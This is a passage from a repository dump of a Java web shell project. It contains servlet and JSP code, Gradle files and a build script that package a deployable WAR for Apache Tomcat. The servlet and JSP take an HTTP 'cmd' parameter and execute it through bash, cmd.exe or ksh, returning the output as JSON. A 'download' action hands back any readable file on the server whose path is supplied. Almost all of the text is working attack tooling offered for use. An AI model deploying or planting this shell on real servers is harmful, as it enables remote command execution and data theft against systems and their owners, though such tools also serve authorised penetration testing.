TODO 53 | // String path = request.getParameter("path"); 54 | // action_upload(response, path); 55 | } 56 | } 57 | 58 | private void action_exec(HttpServletResponse response, String cmd) throws IOException { 59 | Writer writer = response.getWriter(); 60 | String stdout = ""; 61 | String stderr = ""; 62 | String linebuffer = ""; 63 | 64 | String[] commands = {"/bin/bash", "-c", cmd}; 65 | 66 | if (SystemUtils.IS_OS_WINDOWS) { 67 | commands[0] = "cmd.exe"; 68 | commands[1] = "/c"; 69 | } else if (SystemUtils.IS_OS_AIX) { 70 | commands[0] = "/bin/ksh"; 71 | commands[1] = "/c"; 72 | } else if (SystemUtils.IS_OS_LINUX) { 73 | commands[0] = "/bin/bash"; 74 | commands[1] = "-c"; 75 | } else if (SystemUtils.IS_OS_MAC) { 76 | commands[0] = "/bin/dash"; 77 | commands[1] = "-c"; 78 | } 79 | 80 | try { 81 | Runtime rt = Runtime.getRuntime(); 82 | Process proc = rt.exec(commands); 83 | BufferedReader stdInput = new BufferedReader(new InputStreamReader(proc.getInputStream())); 84 | BufferedReader stdError = new BufferedReader(new InputStreamReader(proc.getErrorStream())); 85 | // Read the output from the command 86 | while ((linebuffer = stdInput.readLine()) != null) { stdout += linebuffer+"\n"; } 87 | // Read any errors from the attempted command 88 | while ((linebuffer = stdError.readLine()) != null) { stderr += linebuffer+"\n"; } 89 | } catch (IOException e) { 90 | e.printStackTrace(); 91 | } 92 | 93 | try { 94 | JSONObject result = new JSONObject(); 95 | result.put("exec", commands); 96 | result.put("stdout", stdout); 97 | result.put("stderr", stderr); 98 | response.addHeader("Content-Type", "application/json"); 99 | result.write(writer); 100 | } catch (JSONException e) { 101 | e.printStackTrace(); 102 | } 103 | } 104 | 105 | private void action_download(HttpServletResponse response, String path) throws IOException { 106 | Writer writer = response.getWriter(); 107 | if (path == null) { 108 | try { 109 | JSONObject result = new JSONObject(); 110 | result.put("action", "download"); 111 | result.put("error", "Missing 'path' argument in http request."); 112 | response.addHeader("Content-Type", "application/json"); 113 | result.write(writer); 114 | } catch(Exception jsonerr) { 115 | jsonerr.printStackTrace(); 116 | } 117 | } else { 118 | try { 119 | File f = new File(path); 120 | if (f.exists()) { 121 | if (f.isFile()) { 122 | if (f.canRead()) { 123 | response.setContentType("application/octet-stream"); 124 | response.setHeader("Content-Disposition", "attachment;filename=\"" + f.getName() + "\""); 125 | FileInputStream fileInputStream = new FileInputStream(path); 126 | ServletOutputStream httpResponse = response.getOutputStream(); 127 | byte[] buffer = new byte[1024]; 128 | while (fileInputStream.available() > 0) { 129 | fileInputStream.read(buffer); 130 | httpResponse.write(buffer); 131 | } 132 | httpResponse.flush(); 133 | httpResponse.close(); 134 | fileInputStream.close(); 135 | } else { 136 | try { 137 | JSONObject result = new JSONObject(); 138 | result.put("action", "download"); 139 | result.put("error", "File " + path + " exists but is not readable."); 140 | response.addHeader("Content-Type", "application/json"); 141 | result.write(writer); 142 | } catch (JSONException jsonerr) { 143 | jsonerr.printStackTrace(); 144 | } 145 | } 146 | } else { 147 | try { 148 | JSONObject result = new JSONObject(); 149 | result.put("action", "download"); 150 | result.put("error", "Path " + path + " is not a file (maybe a directory or a pipe)."); 151 | response.addHeader("Content-Type", "application/json"); 152 | result.write(writer); 153 | } catch (JSONException jsonerr) { 154 | jsonerr.printStackTrace(); 155 | } 156 | } 157 | } else { 158 | try { 159 | JSONObject result = new JSONObject(); 160 | result.put("action", "download"); 161 | result.put("error", "Path " + path + " does not exist or is not readable."); 162 | response.addHeader("Content-Type", "application/json"); 163 | result.write(writer); 164 | } catch(JSONException jsonerr) { 165 | jsonerr.printStackTrace(); 166 | } 167 | } 168 | } catch (Exception err) { 169 | try { 170 | JSONObject result = new JSONObject(); 171 | result.put("action", "download"); 172 | result.put("error", err.getMessage()); 173 | response.addHeader("Content-Type", "application/json"); 174 | result.write(writer); 175 | } catch (Exception jsonerr) { 176 | jsonerr.printStackTrace(); 177 | } 178 | } 179 | } 180 | } 181 | } 182 | -------------------------------------------------------------------------------- /webshell/tomcat_10_and_upper/src/main/webapp/WEB-INF/web.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 10 | 11 | 12 | api 13 | /api.jsp 14 | 15 | 16 | api 17 | /api.jsp 18 | 19 | 20 | -------------------------------------------------------------------------------- /webshell/tomcat_10_and_upper/src/main/webapp/api.jsp: -------------------------------------------------------------------------------- 1 | <%@ page import="java.util.*" %> 2 | <%@ page import="java.io.*" %> 3 | <%@ page import="org.json.*" %> 4 | 5 | <%@ page contentType="application/json; charset=UTF-8" %> 6 | 7 | <%! 8 | private boolean isParameterSet(HttpServletRequest request, String name) { 9 | Enumeration parameters = request.getParameterNames(); 10 | boolean isDefined = false; 11 | while (parameters.hasMoreElements()) { 12 | String paramName = parameters.nextElement(); 13 | if (paramName.equals(name)) { 14 | isDefined = true; 15 | break; 16 | } 17 | } 18 | return isDefined; 19 | } 20 | 21 | private void action_exec(JspWriter writer, String cmd) throws IOException { 22 | String stdout = ""; 23 | String stderr = ""; 24 | String linebuffer = ""; 25 | 26 | String[] commands = {"/bin/bash", "-c", cmd}; 27 | 28 | String OS = System.getProperty("os.name").toLowerCase(); 29 | boolean IS_OS_WINDOWS = (OS.indexOf("win") >= 0); 30 | boolean IS_OS_MAC = (OS.indexOf("mac") >= 0); 31 | boolean IS_OS_LINUX = (OS.indexOf("nix") >= 0 || OS.indexOf("nux") >= 0); 32 | boolean IS_OS_AIX = (OS.indexOf("aix") > 0); 33 | boolean IS_SOLARIS = (OS.indexOf("sunos") >= 0); 34 | 35 | if (IS_OS_WINDOWS) { 36 | commands[0] = "cmd.exe"; 37 | commands[1] = "/c"; 38 | } else if (IS_OS_AIX) { 39 | commands[0] = "/bin/ksh"; 40 | commands[1] = "-c"; 41 | } else if (IS_OS_LINUX) { 42 | commands[0] = "/bin/bash"; 43 | commands[1] = "-c"; 44 | } else if (IS_OS_MAC) { 45 | commands[0] = "/bin/dash"; 46 | commands[1] = "-c"; 47 | } 48 | 49 | try { 50 | Runtime rt = Runtime.getRuntime(); 51 | Process proc = rt.exec(commands); 52 | BufferedReader stdInput = new BufferedReader(new InputStreamReader(proc.getInputStream())); 53 | BufferedReader stdError = new BufferedReader(new InputStreamReader(proc.getErrorStream())); 54 | // Read the output from the command 55 | while ((linebuffer = stdInput.readLine()) != null) { stdout += linebuffer+"\n"; } 56 | // Read any errors from the attempted command 57 | while ((linebuffer = stdError.readLine()) != null) { stderr += linebuffer+"\n"; } 58 | } catch (IOException e) { 59 | e.printStackTrace(); 60 | } 61 | 62 | try { 63 | JSONObject result = new JSONObject(); 64 | result.put("exec", commands); 65 | result.put("stdout", stdout); 66 | result.put("stderr", stderr); 67 | 68 | result.write(writer); 69 | } catch (JSONException e) { 70 | e.printStackTrace(); 71 | } 72 | } 73 | %> 74 | 75 | <% 76 | if (isParameterSet(request, "action")) { 77 | String action = request.getParameter("action"); 78 | 79 | if (action.equals("exec") && isParameterSet(request, "cmd")) { 80 | String cmd = request.getParameter("cmd"); 81 | action_exec(out, cmd); 82 | } else if (action.equals("download") && isParameterSet(request, "path")) { 83 | // TODO 84 | // String path = request.getParameter("path"); 85 | // action_download(out, path); 86 | JSONObject result = new JSONObject(); 87 | result.write(out); 88 | } else if (action.equals("upload") && isParameterSet(request, "path")) { 89 | // TODO 90 | // String path = request.getParameter("path"); 91 | // action_upload(out, path); 92 | JSONObject result = new JSONObject(); 93 | result.write(out); 94 | } else { 95 | JSONObject result = new JSONObject(); 96 | result.write(out); 97 | } 98 | } else { 99 | JSONObject result = new JSONObject(); 100 | result.write(out); 101 | } 102 | %> -------------------------------------------------------------------------------- /webshell/tomcat_9_and_lower/build.gradle: -------------------------------------------------------------------------------- 1 | plugins { 2 | id 'war' 3 | } 4 | 5 | repositories { 6 | mavenCentral() 7 | } 8 | 9 | dependencies { 10 | // Java Servlet 4.0 API 11 | // https://mvnrepository.com/artifact/javax.servlet/javax.servlet-api 12 | providedCompile 'javax.servlet:javax.servlet-api:4.0.1' 13 | compile 'org.json:json:20080701' 14 | compile 'org.apache.commons:commons-lang3:3.10' 15 | } 16 | 17 | // Java 8 18 | sourceCompatibility = 8 19 | targetCompatibility = 8 20 | 21 | // Application 22 | version = '1.3.0' 23 | -------------------------------------------------------------------------------- /webshell/tomcat_9_and_lower/build.sh: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env bash 2 | 3 | log() { echo -e "\x1b[1m[\x1b[93mLOG\x1b[0m\x1b[1m]\x1b[0m ${@}"; } 4 | info() { echo -e "\x1b[1m[\x1b[92mINFO\x1b[0m\x1b[1m]\x1b[0m ${@}"; } 5 | warn() { echo -e "\x1b[1m[\x1b[91mWARN\x1b[0m\x1b[1m]\x1b[0m ${@}"; } 6 | 7 | VERSION="1.3.0" 8 | PROJECTNAME="webshell" 9 | 10 | #======================================================================================================================= 11 | 12 | info "Building for Apache Tomcat 9.x and lower" 13 | 14 | # Prepare configuration 15 | log "Setting version = '${VERSION}' in build.gradle ..." 16 | sed -i "s/version = .*/version = '${VERSION}'/g" build.gradle 17 | 18 | log "Starting build ..." 19 | gradle build 20 | 21 | # Distribution 22 | log "Copying final WAR files ..." 23 | if [[ ! -d ./dist/${VERSION}/ ]]; then mkdir -p ./dist/${VERSION}/; fi 24 | if [[ -f ./build/libs/build-${VERSION}.war ]]; then 25 | info "Saved to ./dist/${VERSION}/${PROJECTNAME}.war" 26 | cp ./build/libs/build-${VERSION}.war ./dist/${VERSION}/${PROJECTNAME}.war 27 | chmod 777 ./dist/${VERSION}/${PROJECTNAME}.war 28 | fi 29 | 30 | # Cleanup 31 | log "Cleanup build environnement ..." 32 | if [[ -d ./build/ ]]; then 33 | rm -rf ./build/; 34 | fi 35 | 36 | if [[ -d ./.gradle/ ]]; then 37 | rm -rf ./.gradle/; 38 | fi 39 | 40 | 41 | -------------------------------------------------------------------------------- /webshell/tomcat_9_and_lower/src/main/java/com/podalirius/ApiServlet.java: -------------------------------------------------------------------------------- 1 | package com.podalirius; 2 | 3 | import org.apache.commons.lang3.SystemUtils; 4 | import java.io.BufferedReader; 5 | import java.io.File; 6 | import java.io.FileInputStream; 7 | import java.io.InputStreamReader; 8 | import java.io.IOException; 9 | import java.io.PrintWriter; 10 | import java.io.Writer; 11 | import java.util.Map; 12 | import javax.servlet.annotation.WebServlet; 13 | import javax.servlet.http.HttpServlet; 14 | import javax.servlet.http.HttpServletRequest; 15 | import javax.servlet.http.HttpServletResponse; 16 | import javax.servlet.ServletException; 17 | import javax.servlet.ServletOutputStream; 18 | import org.json.JSONException; 19 | import org.json.JSONObject; 20 | 21 | 22 | @WebServlet("/api") 23 | public class ApiServlet extends HttpServlet { 24 | @Override 25 | protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { 26 | String action = request.getParameter("action"); 27 | 28 | if (action.equals("exec")) { 29 | String cmd = request.getParameter("cmd"); 30 | action_exec(response, cmd); 31 | } else if (action.equals("download")) { 32 | String path = request.getParameter("path"); 33 | action_download(response, path); 34 | } else if (action.equals("upload")) { 35 | // TODO 36 | // String path = request.getParameter("path"); 37 | // action_upload(response, path); 38 | } 39 | } 40 | 41 | @Override 42 | protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { 43 | String action = request.getParameter("action"); 44 | 45 | if (action.equals("exec")) { 46 | String cmd = request.getParameter("cmd"); 47 | action_exec(response, cmd); 48 | } else if (action.equals("download")) { 49 | String path = request.getParameter("path"); 50 | action_download(response, path); 51 | } else if (action.equals("upload")) { 52 | // TODO 53 | // String path = request.getParameter("path"); 54 | // action_upload(response, path); 55 | } 56 | } 57 | 58 | private void action_exec(HttpServletResponse response, String cmd) throws IOException { 59 | Writer writer = response.getWriter(); 60 | String stdout = ""; 61 | String stderr = ""; 62 | String linebuffer = ""; 63 | 64 | String[] commands = {"/bin/bash", "-c", cmd}; 65 | 66 | if (SystemUtils.IS_OS_WINDOWS) { 67 | commands[0] = "cmd.exe"; 68 | commands[1] = "/c"; 69 | } else if (SystemUtils.IS_OS_AIX) { 70 | commands[0] = "/bin/ksh"; 71 | commands[1] = "/c"; 72 | } else if (SystemUtils.IS_OS_LINUX) { 73 | commands[0] = "/bin/bash"; 74 | commands[1] = "-c"; 75 | } else if (SystemUtils.IS_OS_MAC) { 76 | commands[0] = "/bin/dash"; 77 | commands[1] = "-c"; 78 | } 79 | 80 | try { 81 | Runtime rt = Runtime.getRuntime(); 82 | Process proc = rt.exec(commands); 83 | BufferedReader stdInput = new BufferedReader(new InputStreamReader(proc.getInputStream())); 84 | BufferedReader stdError = new BufferedReader(new InputStreamReader(proc.getErrorStream())); 85 | // Read the output from the command 86 | while ((linebuffer = stdInput.readLine()) != null) { stdout += linebuffer+"\n"; } 87 | // Read any errors from the attempted command 88 | while ((linebuffer = stdError.readLine()) != null) { stderr += linebuffer+"\n"; } 89 | } catch (IOException e) { 90 | e.printStackTrace(); 91 | } 92 | 93 | try { 94 | JSONObject result = new JSONObject(); 95 | result.put("exec", commands); 96 | result.put("stdout", stdout); 97 | result.put("stderr", stderr); 98 | response.addHeader("Content-Type", "application/json"); 99 | result.write(writer); 100 | } catch (JSONException e) { 101 | e.printStackTrace(); 102 | } 103 | } 104 | 105 | private void action_download(HttpServletResponse response, String path) throws IOException { 106 | if (path == null) { 107 | try { 108 | Writer writer = response.getWriter(); 109 | JSONObject result = new JSONObject(); 110 | result.put("action", "download"); 111 | result.put("error", "Missing 'path' argument in http request."); 112 | response.addHeader("Content-Type", "application/json"); 113 | result.write(writer); 114 | } catch(Exception jsonerr) { 115 | jsonerr.printStackTrace(); 116 | } 117 | } else { 118 | try { 119 | File f = new File(path); 120 | if (f.exists()) { 121 | if (f.isFile()) { 122 | if (f.canRead()) { 123 | response.setContentType("application/octet-stream"); 124 | response.setHeader("Content-Disposition", "attachment;filename=\"" + f.getName() + "\""); 125 | FileInputStream fileInputStream = new FileInputStream(path); 126 | ServletOutputStream httpResponse = response.getOutputStream(); 127 | byte[] buffer = new byte[1024]; 128 | while (fileInputStream.available() > 0) { 129 | fileInputStream.read(buffer); 130 | httpResponse.write(buffer); 131 | } 132 | httpResponse.flush(); 133 | httpResponse.close(); 134 | fileInputStream.close(); 135 | } else { 136 | try { 137 | Writer writer = response.getWriter(); 138 | JSONObject result = new JSONObject(); 139 | result.put("action", "download"); 140 | result.put("error", "File " + path + " exists but is not readable."); 141 | response.addHeader("Content-Type", "application/json"); 142 | result.write(writer); 143 | } catch (JSONException jsonerr) { 144 | jsonerr.printStackTrace(); 145 | } 146 | } 147 | } else { 148 | try { 149 | Writer writer = response.getWriter(); 150 | JSONObject result = new JSONObject(); 151 | result.put("action", "download"); 152 | result.put("error", "Path " + path + " is not a file (maybe a directory or a pipe)."); 153 | response.addHeader("Content-Type", "application/json"); 154 | result.write(writer); 155 | } catch (JSONException jsonerr) { 156 | jsonerr.printStackTrace(); 157 | } 158 | } 159 | } else { 160 | try { 161 | Writer writer = response.getWriter(); 162 | JSONObject result = new JSONObject(); 163 | result.put("action", "download"); 164 | result.put("error", "Path " + path + " does not exist or is not readable."); 165 | response.addHeader("Content-Type", "application/json"); 166 | result.write(writer); 167 | } catch(JSONException jsonerr) { 168 | jsonerr.printStackTrace(); 169 | } 170 | } 171 | } catch (Exception err) { 172 | try { 173 | Writer writer = response.getWriter(); 174 | JSONObject result = new JSONObject(); 175 | result.put("action", "download"); 176 | result.put("error", err.getMessage()); 177 | response.addHeader("Content-Type", "application/json"); 178 | result.write(writer); 179 | } catch (Exception jsonerr) { 180 | jsonerr.printStackTrace(); 181 | } 182 | } 183 | } 184 | } 185 | } 186 | -------------------------------------------------------------------------------- /webshell/tomcat_9_and_lower/src/main/webapp/WEB-INF/web.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 10 | 11 | 12 | api 13 | /api.jsp 14 | 15 | 16 | api 17 | /api.jsp 18 | 19 | 20 | -------------------------------------------------------------------------------- /webshell/tomcat_9_and_lower/src/main/webapp/api.jsp: -------------------------------------------------------------------------------- 1 | <%@ page import="java.util.*" %> 2 | <%@ page import="java.io.*" %> 3 | <%@ page import="org.json.*" %> 4 | 5 | <%@ page contentType="application/json; charset=UTF-8" %> 6 | 7 | <%! 8 | private boolean isParameterSet(HttpServletRequest request, String name) { 9 | Enumeration parameters = request.getParameterNames(); 10 | boolean isDefined = false; 11 | while (parameters.hasMoreElements()) { 12 | String paramName = parameters.nextElement(); 13 | if (paramName.equals(name)) { 14 | isDefined = true; 15 | break; 16 | } 17 | } 18 | return isDefined; 19 | } 20 | 21 | private void action_exec(JspWriter writer, String cmd) throws IOException { 22 | String stdout = ""; 23 | String stderr = ""; 24 | String linebuffer = ""; 25 | 26 | String[] commands = {"/bin/bash", "-c", cmd}; 27 | 28 | String OS = System.getProperty("os.name").toLowerCase(); 29 | boolean IS_OS_WINDOWS = (OS.indexOf("win") >= 0); 30 | boolean IS_OS_MAC = (OS.indexOf("mac") >= 0); 31 | boolean IS_OS_LINUX = (OS.indexOf("nix") >= 0 || OS.indexOf("nux") >= 0); 32 | boolean IS_OS_AIX = (OS.indexOf("aix") > 0); 33 | boolean IS_SOLARIS = (OS.indexOf("sunos") >= 0); 34 | 35 | if (IS_OS_WINDOWS) { 36 | commands[0] = "cmd.exe"; 37 | commands[1] = "/c"; 38 | } else if (IS_OS_AIX) { 39 | commands[0] = "/bin/ksh"; 40 | commands[1] = "-c"; 41 | } else if (IS_OS_LINUX) { 42 | commands[0] = "/bin/bash"; 43 | commands[1] = "-c"; 44 | } else if (IS_OS_MAC) { 45 | commands[0] = "/bin/dash"; 46 | commands[1] = "-c"; 47 | } 48 | 49 | try { 50 | Runtime rt = Runtime.getRuntime(); 51 | Process proc = rt.exec(commands); 52 | BufferedReader stdInput = new BufferedReader(new InputStreamReader(proc.getInputStream())); 53 | BufferedReader stdError = new BufferedReader(new InputStreamReader(proc.getErrorStream())); 54 | // Read the output from the command 55 | while ((linebuffer = stdInput.readLine()) != null) { stdout += linebuffer+"\n"; } 56 | // Read any errors from the attempted command 57 | while ((linebuffer = stdError.readLine()) != null) { stderr += linebuffer+"\n"; } 58 | } catch (IOException e) { 59 | e.printStackTrace(); 60 | } 61 | 62 | try { 63 | JSONObject result = new JSONObject(); 64 | result.put("exec", commands); 65 | result.put("stdout", stdout); 66 | result.put("stderr", stderr); 67 | 68 | result.write(writer); 69 | } catch (JSONException e) { 70 | e.printStackTrace(); 71 | } 72 | } 73 | %> 74 | 75 | <% 76 | if (isParameterSet(request, "action")) { 77 | String action = request.getParameter("action"); 78 | 79 | if (action.equals("exec") && isParameterSet(request, "cmd")) { 80 | String cmd = request.getParameter("cmd"); 81 | action_exec(out, cmd); 82 | } else if (action.equals("download") && isParameterSet(request, "path")) { 83 | // TODO 84 | // String path = request.getParameter("path"); 85 | // action_download(out, path); 86 | JSONObject result = new JSONObject(); 87 | result.write(out); 88 | } else if (action.equals("upload") && isParameterSet(request, "path")) { 89 | // TODO 90 | // String path = request.getParameter("path"); 91 | // action_upload(out, path); 92 | JSONObject result = new JSONObject(); 93 | result.write(out); 94 | } else { 95 | JSONObject result = new JSONObject(); 96 | result.write(out); 97 | } 98 | } else { 99 | JSONObject result = new JSONObject(); 100 | result.write(out); 101 | } 102 | %> 103 | 104 | --------------------------------------------------------------------------------